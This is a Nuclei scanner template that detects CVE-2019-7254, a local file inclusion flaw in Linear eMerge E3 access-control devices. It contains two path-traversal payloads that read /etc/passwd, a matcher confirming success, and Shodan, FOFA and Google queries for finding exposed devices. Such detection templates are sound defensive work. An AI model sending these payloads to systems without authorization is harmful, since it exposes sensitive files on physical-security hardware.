id: CVE-2019-7254

info:
  name: eMerge E3 1.00-06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Linear eMerge E3-Series devices are vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47616
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
    - http://packetstormsecurity.com/files/155252/Linear-eMerge-E3-1.00-06-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7254
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7254
    cwe-id: CWE-22
    epss-score: 0.9057
    epss-percentile: 0.99628
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query: http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,lfi,edb,packetstorm,nortekcontrol,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?c=../../../../../../etc/passwd%00"
      - "{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205feae8f172086940ca4aa8bf4eea6d2ac3bf21c731b76c08797eef7740160152022100efc309137e572e7162f76b82f358e23b56b4319de34e1927d8fd17b547f72b53:922c64590222798bb761d5b6d8e72950